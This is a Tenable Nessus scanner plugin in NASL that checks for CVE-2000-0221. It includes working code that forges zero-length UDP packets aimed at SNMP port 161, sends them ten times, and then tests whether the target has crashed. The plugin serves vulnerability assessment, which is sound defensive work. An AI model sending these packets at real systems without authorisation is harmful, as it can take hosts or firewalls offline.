SNMP Zero Length UDP Packet Remote DoS

#
# (C) Tenable Network Security, Inc.
#

# Thanks to Christophe Grenier <[email protected]> for pointing this out
#

include("compat.inc");

if (description)
{
  script_id(10266);
  script_version("1.25");
  script_cvs_date("Date: 2019/03/06 18:38:55");

  script_cve_id("CVE-2000-0221");
  script_bugtraq_id(1009);

  script_name(english:"SNMP Zero Length UDP Packet Remote DoS");
  script_summary(english:"Crashes the remote host by sending a null UDP packet");

  script_set_attribute(attribute:'synopsis', value:"The remote host is vulnerable to denial of service.");
  script_set_attribute(attribute:'description', value:
"It was possible to crash either the remote host or the firewall in
between us and the remote host by sending an UDP packet of null size
going to port 161 (snmp)

This flaw may allow an attacker to shut down your network.");
  script_set_attribute(attribute:'solution', value:
"Contact your firewall vendor if it was the firewall which crashed, or
filter incoming UDP traffic if the remote host crashed.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2000/02/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2000/02/24");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_KILL_HOST);
  script_copyright(english:"This script is Copyright (C) 2000-2019 Tenable Network Security, Inc.");
  script_family(english:"SNMP");

  script_require_keys("Settings/ParanoidReport");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

if ( TARGET_IS_IPV6 ) exit(0);

start_denial();


ip = forge_ip_packet(ip_v   : 4,
		     ip_hl  : 5,
		     ip_tos : 0,
		     ip_id  : 0x4321,
		     ip_len : 28,
		     ip_off : 0,
		     ip_p   : IPPROTO_UDP,
		     ip_src : compat::this_host(),
		     ip_ttl : 0x40);

# Forge the UDP packet

udp = forge_udp_packet( ip : ip,
			uh_sport : 1234, uh_dport : 161,
			uh_ulen : 8);


#
# Send this packet 10 times
#

send_packet(udp, pcap_active:FALSE) x 10;

#
# wait
#
sleep(5);

#
# And check...
#
alive = end_denial();
if(!alive)
{
  set_kb_item(name:"Host/dead", value:TRUE);
  security_warning(port:161, proto:"udp");
}